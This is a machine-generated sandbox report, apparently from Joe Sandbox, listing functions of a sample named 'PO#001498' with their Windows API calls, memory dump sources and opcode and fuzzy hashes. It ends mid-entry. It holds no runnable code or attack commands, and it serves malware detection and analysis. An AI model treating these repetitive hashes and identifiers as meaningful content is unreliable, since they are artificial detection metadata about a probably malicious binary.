                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Menu$InfoItem$Draw_malloc
                                                                                                                                                                                • String ID: 0
                                                                                                                                                                                • API String ID: 772068139-4108050209
                                                                                                                                                                                • Opcode ID: c8976dca06d6b4a67e3115e3fbda4fe950bcb9b91ddbb3afb2d21d0cb6793a10
                                                                                                                                                                                • Instruction ID: 895394c4ac3d8cdb9511dba433443d5742fa96e32f07ab63668b9f5a94eb31d1
                                                                                                                                                                                • Opcode Fuzzy Hash: c8976dca06d6b4a67e3115e3fbda4fe950bcb9b91ddbb3afb2d21d0cb6793a10
                                                                                                                                                                                • Instruction Fuzzy Hash: 941182B16042009BF730EB55EC96FABB7A8FB91714F00452EE648CA281DB7A9445CB76
                                                                                                                                                                                Function 004342A8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33memoryCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AllocTask_wcslen
                                                                                                                                                                                • String ID: hkG
                                                                                                                                                                                • API String ID: 2651040394-3610518997
                                                                                                                                                                                • Opcode ID: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
                                                                                                                                                                                • Instruction ID: 372044899b15e8c53ead78f1c779643819f92c4817f04f111663958edd7e2adf
                                                                                                                                                                                • Opcode Fuzzy Hash: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
                                                                                                                                                                                • Instruction Fuzzy Hash: DCE065736442225B97506A79AC045CBA7D8AFB0370B15482BF880E7310E278E89643E5
                                                                                                                                                                                Function 0043416A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • LoadLibraryA.KERNEL32(kernel32.dll), ref: 0043417A
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0043418C
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AddressLibraryLoadProc
                                                                                                                                                                                • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                                                                                                                                                • API String ID: 2574300362-1816364905
                                                                                                                                                                                • Opcode ID: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                                                                                                                                                                                • Instruction ID: 1a9860a365f0c849ce8c10f1c40c5c80f9dda93506fd3415c38c98a37cde1a5a
                                                                                                                                                                                • Opcode Fuzzy Hash: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                                                                                                                                                                                • Instruction Fuzzy Hash: F9D05EB1440B039FCB109FA0D80C64BB6E4AB64301F148C2EF885B2654D7B8E8C0CBA8
                                                                                                                                                                                Function 004343CE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434466,?,?,00464B68,?,?,?,?,?,00000000,?,?,00000101,?), ref: 004343DE
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,IcmpSendEcho), ref: 004343F0
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AddressLibraryLoadProc
                                                                                                                                                                                • String ID: ICMP.DLL$IcmpSendEcho
                                                                                                                                                                                • API String ID: 2574300362-58917771
                                                                                                                                                                                • Opcode ID: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                                                                                                                                                                                • Instruction ID: bde82dd314f67bb94adb8237e566b22d9cd50c1f3059090bebd97951f1ce1dc3
                                                                                                                                                                                • Opcode Fuzzy Hash: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                                                                                                                                                                                • Instruction Fuzzy Hash: C9D017B45043039BD7105B21D80874A76E4AF58310F118C2FF881E2250CBBCE8808B79
                                                                                                                                                                                Function 004343FD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • LoadLibraryA.KERNEL32(ICMP.DLL,?,0043447D,?,?,00464B56,?,?,?,?,00000000,?,?,00000101,?,?), ref: 0043440D
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,IcmpCloseHandle), ref: 0043441F
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AddressLibraryLoadProc
                                                                                                                                                                                • String ID: ICMP.DLL$IcmpCloseHandle
                                                                                                                                                                                • API String ID: 2574300362-3530519716
                                                                                                                                                                                • Opcode ID: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
                                                                                                                                                                                • Instruction ID: 815a2f2ef77883dfca24b23846b24e776c3b140ddfaf16f0983d17b56328066b
                                                                                                                                                                                • Opcode Fuzzy Hash: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
                                                                                                                                                                                • Instruction Fuzzy Hash: 9FD017B04443129AD7106B64D80874A76E4AB68302F129C3FF881A2660C7BCA8808B39
                                                                                                                                                                                Function 0043442C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434494,?,?,00464A94,?), ref: 0043443C
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,IcmpCreateFile), ref: 0043444E
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AddressLibraryLoadProc
                                                                                                                                                                                • String ID: ICMP.DLL$IcmpCreateFile
                                                                                                                                                                                • API String ID: 2574300362-275556492
                                                                                                                                                                                • Opcode ID: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                                                                                                                                                                                • Instruction ID: c247b13c068300da1972229949477068df6ba5342f41feac8fae2a533bc96115
                                                                                                                                                                                • Opcode Fuzzy Hash: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                                                                                                                                                                                • Instruction Fuzzy Hash: 97D017B04043029ADB105B60D90875A77E4AB68300F118C7FF9A1A2250C7BCA8808B29
                                                                                                                                                                                Function 0040ACA0 Relevance: 6.4, APIs: 4, Instructions: 368COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ClearVariant
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1473721057-0
                                                                                                                                                                                • Opcode ID: d2d12c55b876e5fa1efbcf51686f09b2c55b87fd727dd21d929d390e382c4fef
                                                                                                                                                                                • Instruction ID: 4e1e522645e86f73b8885f2d86dba7d443b77ce6b8f7ad4508257b27d10f8221
                                                                                                                                                                                • Opcode Fuzzy Hash: d2d12c55b876e5fa1efbcf51686f09b2c55b87fd727dd21d929d390e382c4fef
                                                                                                                                                                                • Instruction Fuzzy Hash: 3DD18D746003018FD724DF25D484A26B7E1EF49704F64887EE9899B3A1D739EC92CB9A
                                                                                                                                                                                Function 0041456C Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • __flush.LIBCMT ref: 00414630
                                                                                                                                                                                • __fileno.LIBCMT ref: 00414650
                                                                                                                                                                                • __locking.LIBCMT ref: 00414657
                                                                                                                                                                                • __flsbuf.LIBCMT ref: 00414682
                                                                                                                                                                                  • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                                  • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3240763771-0
                                                                                                                                                                                • Opcode ID: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
                                                                                                                                                                                • Instruction ID: ec1a4dff6c5341ad57a53ba98b0f539b864df2cc4a0ba96fecd891c5d8a4160d
                                                                                                                                                                                • Opcode Fuzzy Hash: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
                                                                                                                                                                                • Instruction Fuzzy Hash: 4841A571A00605ABDB249FA5C9445DFB7B6EFC1328F28852FE41997280D77CDEC18B48
                                                                                                                                                                                Function 004781AE Relevance: 6.1, APIs: 4, Instructions: 135COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                                                • VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                                                • VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                                                • VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CopyVariant$ErrorLast
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2286883814-0
                                                                                                                                                                                • Opcode ID: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
                                                                                                                                                                                • Instruction ID: 2d87100fc18953c9afe9b7e879878e48daa4ef19e0256d9a4550ae3fa38499cf
                                                                                                                                                                                • Opcode Fuzzy Hash: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
                                                                                                                                                                                • Instruction Fuzzy Hash: 5F517C751543409FC310DF69C880A9BBBE4FF88314F448A6EF9499B352DB39E909CB99
                                                                                                                                                                                Function 0047404B Relevance: 6.1, APIs: 4, Instructions: 133networkCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • socket.WSOCK32(00000002,00000002,00000011), ref: 00474068
                                                                                                                                                                                • WSAGetLastError.WSOCK32(00000000,00000002,00000002,00000011), ref: 00474076
                                                                                                                                                                                • #21.WSOCK32 ref: 004740E0
                                                                                                                                                                                • WSAGetLastError.WSOCK32(00000000), ref: 004740EB
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ErrorLast$socket
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1881357543-0
                                                                                                                                                                                • Opcode ID: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
                                                                                                                                                                                • Instruction ID: ff1742a21ceaee7448286ece46cbaad1fa76dded649dcd1b12ff87c083dae87e
                                                                                                                                                                                • Opcode Fuzzy Hash: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
                                                                                                                                                                                • Instruction Fuzzy Hash: 7641D9717403006AE720BF6ADC47F5672C89B54B18F14496EF648BF2C3D6FAA881869C
                                                                                                                                                                                Function 00441CB4 Relevance: 6.1, APIs: 4, Instructions: 112windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • ClientToScreen.USER32(00000000,?), ref: 00441CDE
                                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 00441D5A
                                                                                                                                                                                • PtInRect.USER32(?,?,?), ref: 00441D6F
                                                                                                                                                                                • MessageBeep.USER32(00000000), ref: 00441DF2
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Rect$BeepClientMessageScreenWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1352109105-0
                                                                                                                                                                                • Opcode ID: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                                                                                                                                                                                • Instruction ID: 11ad13a84751b34e4f8a983c71a6a29643224e7bbeba0240db3aabd8edeb2108
                                                                                                                                                                                • Opcode Fuzzy Hash: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                                                                                                                                                                                • Instruction Fuzzy Hash: E64192B5A042418FE710DF18D884AABB7E5FFC9311F18866FE8518B360D734AC85CBA5
                                                                                                                                                                                Function 0042384A Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0042387E
                                                                                                                                                                                • __isleadbyte_l.LIBCMT ref: 004238B2
                                                                                                                                                                                • MultiByteToWideChar.KERNEL32(?,00000009,00000002,?,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 004238E3
                                                                                                                                                                                • MultiByteToWideChar.KERNEL32(?,00000009,00000002,00000001,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 00423951
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3058430110-0
                                                                                                                                                                                • Opcode ID: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
                                                                                                                                                                                • Instruction ID: 550681b3841f0f34ee613cb5364b25607849a03987ccfca5eaaec14299199b49
                                                                                                                                                                                • Opcode Fuzzy Hash: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
                                                                                                                                                                                • Instruction Fuzzy Hash: A931C270B00265EFDB20EF64D8849AA7BF5EF01312B9445AAF0A09F291D338CE81CB55
                                                                                                                                                                                Function 0045D070 Relevance: 6.1, APIs: 4, Instructions: 100fileCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • CreateHardLinkW.KERNEL32(00000000,?,00000000,?,00000000), ref: 0045D10A
                                                                                                                                                                                • GetLastError.KERNEL32(?,00000000), ref: 0045D12B
                                                                                                                                                                                • DeleteFileW.KERNEL32(00000000,?), ref: 0045D14C
                                                                                                                                                                                • CreateHardLinkW.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0045D16A
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CreateHardLink$DeleteErrorFileLast
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3321077145-0
                                                                                                                                                                                • Opcode ID: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
                                                                                                                                                                                • Instruction ID: 240381fd0e223f31e6bb83dc4f900fe278965bce5f9bbaa9f824fb1079ab41c9
                                                                                                                                                                                • Opcode Fuzzy Hash: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
                                                                                                                                                                                • Instruction Fuzzy Hash: 393180B5900301ABCB10AF71C985A1BF7E8AF84755F10891EF85497392C739FC45CB68
                                                                                                                                                                                Function 0045058D Relevance: 6.1, APIs: 4, Instructions: 98COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetParent.USER32(?), ref: 004505BF
                                                                                                                                                                                • DefDlgProcW.USER32(?,00000138,?,?,004A83D8,?,004A83D8,?), ref: 00450610
                                                                                                                                                                                • DefDlgProcW.USER32(?,00000133,?,?,004A83D8,?,004A83D8,?), ref: 0045065A
                                                                                                                                                                                • DefDlgProcW.USER32(?,00000134,?,?,004A83D8,?,004A83D8,?), ref: 00450688
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Proc$Parent
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2351499541-0
                                                                                                                                                                                • Opcode ID: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
                                                                                                                                                                                • Instruction ID: e3e31f905615dd8bfbe674c7a91f48f64006a8638b4dc9b760805e547d05c650
                                                                                                                                                                                • Opcode Fuzzy Hash: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
                                                                                                                                                                                • Instruction Fuzzy Hash: 8C3128362411006BC2209B299C58DBB7B58EBC7336F14465BFA54832D3CB769826C768
                                                                                                                                                                                Function 004613E0 Relevance: 6.1, APIs: 4, Instructions: 90windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00438C85: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00438C95
